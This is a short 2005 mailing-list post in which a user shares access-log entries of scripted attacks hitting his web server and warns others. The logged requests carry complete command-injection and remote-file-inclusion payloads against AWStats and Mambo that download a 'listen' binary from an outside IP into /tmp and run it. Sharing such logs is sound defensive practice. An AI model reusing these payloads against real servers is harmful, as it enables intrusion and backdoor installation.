[plug] Scripted hacking attempts

[Kai]

Hi guys and girls,

FYI, I don't know if anyone else is seeing a rash of these but I've had 
a few in the last coupla days.

12.175.196.99 - - [21/Dec/2005:10:55:02 +0800] "GET 
/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| 
  HTTP/1.1" 404 340
12.175.196.99 - - [21/Dec/2005:10:55:06 +0800] "GET 
/cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| 
  HTTP/1.1" 404 340
12.175.196.99 - - [21/Dec/2005:10:55:13 +0800] "GET 
/index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| 
  HTTP/1.1" 404 331
12.175.196.99 - - [21/Dec/2005:10:55:08 +0800] "GET 
/cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| 
  HTTP/1.1" 404 348
12.175.196.99 - - [21/Dec/2005:10:55:10 +0800] "GET 
/index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| 
  HTTP/1.1" 404 332
12.175.196.99 - - [21/Dec/2005:10:55:14 +0800] "GET 
/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| 
  HTTP/1.1" 404 338
12.175.196.99 - - [21/Dec/2005:10:55:17 +0800] "GET 
/cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| 
  HTTP/1.1" 404 336
12.175.196.99 - - [21/Dec/2005:10:55:23 +0800] "GET 
/cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| 
  HTTP/1.1" 404 342

Cheers
Kai

-- 
Capture the memories, relive the moment
www.vk6ksj.net/photography/